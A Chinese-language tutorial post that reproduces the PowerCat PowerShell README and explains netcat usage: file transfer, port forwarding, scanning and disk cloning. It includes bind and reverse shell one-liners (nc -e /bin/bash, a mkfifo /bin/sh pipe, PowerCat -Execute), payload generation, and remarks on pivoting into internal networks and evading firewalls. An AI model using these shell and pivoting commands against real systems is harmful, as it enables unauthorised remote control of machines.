PowerCat功能介紹 netcat使用實例:端口轉(zhuǎn)發(fā)、遠程shell

PowerCat

與Netcat&Ncat配合使用的PowerShell TCP / IP瑞士軍刀

https://github.com/secabstraction/PowerCat

PowerCat 被打包為一個 PowerShell module
所以要導入模塊才能使用功能:

# Import the functions via the psd1 file:
    Import-Module PowerCat.psd1

功能和參數(shù)

Start-PowerCat      # Starts a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb.
    -Port           # The port to listen on.
    -PipeName       # Name of pipe to listen on.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -KeepAlive      # Restart after disconnecting.
    -Timeout        # Timeout option. Default: 60 seconds
    
Connect-PowerCat    # Connects a client to a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb
    -RemoteIp       # IPv4 address of host to connect to.
    -Port           # The port to connect to.
    -PipeName       # Name of pipe to connect to.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<IP>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -Timeout        # Timeout option. Default: 60 seconds

基本連接

默認情況下,PowerCat使用TCP協(xié)議 并且 從控制臺讀取,寫到控制臺。

 # Basic Listener: 監(jiān)聽本機443端口
    Start-PowerCat -Port 443

    # Basic Client: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443

文件傳輸

參數(shù)為
-SendFile
-ReceiveFile

    # Send File: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
        
    # Receive File:
    Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile

Shells

PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.

 # Serve a shell:
    Start-PowerCat -Port 443 -Execute
        
    # Send a Shell:
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute

UDP and SMB

PowerCat supports more than sending data over TCP.
PowerCat支持的協(xié)議:TCP、UDP、SMB

    # Send Data Over UDP:
    Start-PowerCat -Mode Udp -Port 8000
        
    # Send Data Over SMB (easily sneak past firewalls):
    Start-PowerCat -Mode Smb -PipeName PowerCat

SSL

PowerCat即時生成X509證書,以提供TCP連接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.

    # Admin privileges are required to generate the self-signed certificate.
    
    # Serve an SSL-Encrypted (Power)Shell:
    Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute
        
    # Connect to an SSL encrypted Ncat listener:
    # Setup *nix with openssl & Ncat:
    # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
    # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
    
    Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat 

Relays

Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

    # UDP Listener to TCP Client Relay:
    Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to UDP Client Relay:
    Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
        
    # TCP Client to Client Relay
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to SMB Listener Relay
    New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat

Generate Payloads

Payloads can be generated using the New-PowerCatPayload function.

    # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
    New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute 
        
    # Generate a tcp payload that listens on port 8000:
    New-PowerCatPayload -Listener -Port 8000 -Execute

Misc Usage

PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.

    # Basic TCP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
    
    # Basic UDP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
        
    # Persistent listener:
    Start-PowerCat -Port 443 -Execute -KeepAlive
    
    # Simple Web Server:
    Start-PowerCat -Port 80 -SendFile index.html

Exiting

In most cases, the ESC key can be used to gracefully exit PowerCat.


netcat

nc
netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。
通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。
使用netcat命令所能完成的事情令人驚訝。

netcat所做的就是在兩臺電腦之間建立鏈接并返回兩個數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。
你能建立一個服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體,用它作為其它協(xié)議的獨立客戶端。
使用格式:

nc [options...] hostname port
nc -l -p port [-s addr] [options...] [hostname] [port]

主要參數(shù):

-4 IPv4模式

-6 IPv6模式

-b, –bluetooth藍牙模式(默認為L2CAP協(xié)議)

-e,–exec=CMD連接建立后執(zhí)行命令

-l 監(jiān)聽入站連接

-n 指定數(shù)字的IP地址,不能用hostname

-u UDP模式

-t TCP模式(默認模式)

-v 詳細輸出——用兩個-v可得到更詳細的內(nèi)容

-w,–time=SECONDS連接建立后的延時

-z 掃描模式,不會發(fā)送任何數(shù)據(jù)

-T,–ttl=TTL自定義初始TTL

-z 將輸入輸出關(guān)掉——用于掃描時

-x,–transfer文件傳輸模式

-X ,–rev-transfer反向文件傳輸模式

-s,–address=ADDRESS本地源ip

端口掃描

端口掃描,發(fā)現(xiàn)主機開放的端口

nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif en0
    src 192.168.1.170 port 55690
    dst 220.181.57.217 port 80
    rank info not available
    TCP aux info available

Connection to 220.181.57.217 port 80 [tcp/*] succeeded!

-v 詳細輸出
-n 不使用DNS反向查詢IP地址的域名

可以運行在TCP或者UDP模式:默認是TCP -u參數(shù)指定為UDP

# 對已經(jīng)開放的端口,使用netcat(會先自動連接開放端口)抓取此端口的banner
nc -v 220.181.57.217 80

雙方通信

Server <-> Client

只能2人通信:雙方任何一方發(fā)送內(nèi)容,另一方可以看到。
雙方任何一方Ctrl-c結(jié)束連接,則另一方也會自動斷開。

# Server  (IP 192.168.1.170)
#在1567端口啟動了一個tcp 服務(wù)器,所有的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

nc -l 1567
### Client
nc 192.168.1.170 1567

文件傳輸

Server -> Client

FTP,SCP,SMB等協(xié)議,都能傳輸文件。

nc也可以傳輸文件:
雙方建立連接,臨時傳輸內(nèi)容,并保存為文件。

#Server    (IP 192.168.1.170)
#監(jiān)聽1567端口,任何Client成功連接該端口后,服務(wù)器端把README.md中的內(nèi)容發(fā)送過去。
nc -l 1567 < README.md
#Client
#主動連接到服務(wù)器端口,當獲取內(nèi)容結(jié)束后,斷開雙方連接。
nc -n 192.168.1.170 1567 #在shell中顯示該文件的內(nèi)容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中

目錄傳輸

使用壓縮工具tar壓縮后發(fā)送壓縮包,即可發(fā)送多個文件,或者整個目錄。

#Server     (IP 192.168.1.170)
# 打包(不壓縮)指定目錄,通過 - 輸入控制臺重定向(當前目錄中不生成新文件),又通過管道命令傳給:nc
tar -cvf - dir_name/ | nc -l 1567
#Client
# 連接到服務(wù)器的1567端口,通過管道命令傳給:tar工具 解壓 控制臺重定向的輸出- 得到目錄。
nc -n 192.168.1.170 1567 | tar -xvf -

端口轉(zhuǎn)發(fā)

netcat 做簡單的端口轉(zhuǎn)發(fā)。

背景:
192.168.1.101需要訪問192.168.1.102的8000端口
(目標主機防火墻不允許外界機器訪問8000端口,只允許其他機器連接目標主機192.168.1.102的9000端口)

操作:
192.168.1.101通過連接目標機192.168.1.102的9000端口
(目標機內(nèi)8000 <-> 9000 轉(zhuǎn)發(fā)成功)
就實現(xiàn)了192.168.1.101與目標機192.168.1.102的8000端口的通信。

#Server     (IP 192.168.1.102)
#防火墻只允許8000端口通信
nc -l 8000

#在目標機192.168.1.102內(nèi) 令 9000端口 作為 轉(zhuǎn)發(fā)數(shù)據(jù)的端口
#實現(xiàn)了 8000 <-> 9000 的端口轉(zhuǎn)發(fā)
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
#Client
#在客戶端192.168.1.101主動連接192.168.1.102的9000端口
#實際上客戶端只連接服務(wù)器端的9000端口
nc -n 192.168.1.102 9000

端口轉(zhuǎn)發(fā)可用于內(nèi)網(wǎng)滲透:
Client無法直接訪問內(nèi)網(wǎng)特定機器X,并成功拿到了內(nèi)網(wǎng)一臺機器N:
在跳板機N內(nèi)做端口轉(zhuǎn)發(fā),N接受到外網(wǎng)的數(shù)據(jù),將其轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標機器X的特定端口。

以下,沒有進行實際的測試。

指定地址 - 客戶端主動發(fā)起連接的地址

如果本機有多個ip地址:
在netcat中使用-s選項指定與外部通訊的ip地址。

#Server     (IP 192.168.1.102)
#服務(wù)器端正常監(jiān)聽
nc -u -l 1567 < file.txt
#Client     (IP 192.168.1.101)
#指定 客戶端本機 主動發(fā)起連接的ip地址 為192.168.1.101

nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt

指定端口 - 客戶端主動發(fā)起連接的端口

如果 客戶端Client的防火墻,只允許25端口和外部通訊:
所以需要發(fā)送發(fā)給外部的數(shù)據(jù)都要經(jīng)過25端口 才能發(fā)出

#Server     (IP 192.168.1.102)
#正常監(jiān)聽
nc -l 1567
#Client
#客戶端Client的防火墻只允許25端口主動發(fā)出連接,和外部通訊
#-p 25 指定打開25端口,主動發(fā)出連接。否則打開任意端口進行通訊。
#root權(quán)限才能打開1024以內(nèi)的端口

nc 192.168.1.170 1567 -p 25

遠程shell - 正向shell: A主動連到B A得到B的shell

Server 提供一個shell
Client 得到shell輸入命令

如果沒有安裝或沒有權(quán)限安裝telnet或ssh
可用netcat創(chuàng)建遠程shell

#Server     (IP 192.168.1.170)
#被控端

#netcat默認支持 -c -e 參數(shù)
#當有客戶端連接成功時,執(zhí)行/bin/bash
nc -l 1567 -e /bin/bash -i
#Server     (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系統(tǒng)自帶的nc):并不支持-c 或者 -e 參數(shù),也能創(chuàng)建遠程shell


mkfifo /tmp/tmp_fifo # 創(chuàng)建了一個fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把這個fifo文件內(nèi)容定向到shell 2>&1中。
#是用來重定向標準錯誤輸出和標準輸出,然后管道到netcat運行的端口1567上。
#這樣已經(jīng)把netcat的輸出重定向到fifo文件中。

說明:
從網(wǎng)絡(luò)收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
sh命令進程受到輸入并把它寫回到netcat。
netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client

能成功是因為:管道使命令平行執(zhí)行,fifo文件用來替代正常文件,因為fifo使讀取等待而如果是一個普通文件,cat命令會盡快結(jié)束并開始讀取空文件。

#Client
#主控端 直接連接 得到一個shell提示符在客戶端
nc 192.168.1.170 1567

遠程shell - 反向shell: A主動連到B B得到A的shell

Server 提供一個shell
Client 得到shell輸入命令

反向shell:在客戶端打開的shell。
反向shell這樣命名是因為不同于其他配置,這里服務(wù)器使用的是由客戶提供的服務(wù)。

服務(wù)端

#Server     (IP 192.168.1.170)
nc -l 1567
#Client
#客戶端netcat主動連接,執(zhí)行shell。
nc 172.31.100.7 1567 -e /bin/bash

反向shell作用:
反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。
例如,某內(nèi)網(wǎng)機器A 經(jīng)過網(wǎng)絡(luò)地址轉(zhuǎn)換(Network Address Translation)連接到外部網(wǎng)絡(luò) 機器B。

想要兩臺主機連接:
【成功】內(nèi)網(wǎng)機器A 主動發(fā)起連接 能連接到外部機器B。

【失敗】網(wǎng)絡(luò)外部機器B 主動訪問 內(nèi)網(wǎng)機器A 的shell肯定失敗。

傳輸(加密過的)數(shù)據(jù)

使用mcrypt工具,兩端密碼必須一致。

#Server     (IP 192.168.1.170)
# 使用mcrypt工具加密數(shù)據(jù)
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

#Client
#使用mcrypt工具解密數(shù)據(jù)。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

傳輸流視頻

雖然不是生成流視頻的最好方法:

#Server     (IP 192.168.1.170)
#讀入一個視頻文件,重定向輸出到netcat
cat video.avi | nc -l 1567
#Client
#從socket中讀入數(shù)據(jù)并重定向到mplayer(需安裝)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -

克隆Linux

dd是一個從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。
但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

#Server     (IP 192.168.1.170)
#假如你的系統(tǒng)在磁盤/dev/sda上
dd if=/dev/sda | nc -l 1567
#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda

其他功能

使用-t選項模擬Telnet客戶端
HTTP客戶端用于下載文件
連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件
使用ffmpeg截取屏幕并通過流式傳輸分享
只要了解協(xié)議,就能使用netcat作為網(wǎng)絡(luò)通訊媒介,實現(xiàn)各種客戶端。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容